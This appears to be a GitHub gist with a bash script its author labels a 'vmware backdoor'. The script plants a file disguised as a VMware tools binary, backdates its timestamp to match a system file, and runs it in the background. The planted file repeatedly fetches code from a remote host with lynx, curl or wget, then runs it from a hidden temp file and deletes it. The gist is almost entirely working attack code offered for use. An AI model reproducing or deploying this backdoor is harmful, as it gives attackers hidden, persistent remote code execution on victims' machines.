Skip to content

Instantly share code, notes, and snippets.

@sbehrens
Created March 16, 2012 15:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sbehrens/2050553 to your computer and use it in GitHub Desktop.
Save sbehrens/2050553 to your computer and use it in GitHub Desktop.
# vmware backdoor if the dir don’t exist (which it should) create it anyway
mkdir -p /usr/lib/vmware-tools/bin32
vmwarestamp="`ls -l /usr/bin/lsof 2>log.error | awk {'print $6'}`"
echo $vmwarestamp
touch ./vmware-vnet1
chmod 755 ./vmware-vnet1
read -d '' vmware <<"BLOCK"
#!/bin/bash
export UPDATE_URL="http://192.168.1.105/helloworld.txt"
if [ `which lynx` ]
then
lynx -source $UPDATE_URL 1>/tmp/.bnn-latest 2>/dev/null
else
if [ `which curl` ]
then
curl $UPDATE_URL 1>/tmp/.bnn-latest 2>/dev/null
else
if [ `which wget` ]
then
wget $UPDATE_URL -O /tmp/.bnn-latest 2>/dev/null
fi
fi
fi
chmod +x /tmp/.bnn-latest
/tmp/.bnn-latest
rm -f /tmp/.bnn-latest
BLOCK
echo "$vmware" > vmware-vnet1
mv ./vmware-vnet1 /usr/lib/vmware-tools/bin32/
touch -d $vmwarestamp /usr/lib/vmware-tools/bin32/vmware-vnet1
nohup /usr/lib/vmware-tools/bin32/vmware-vnet1 &
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment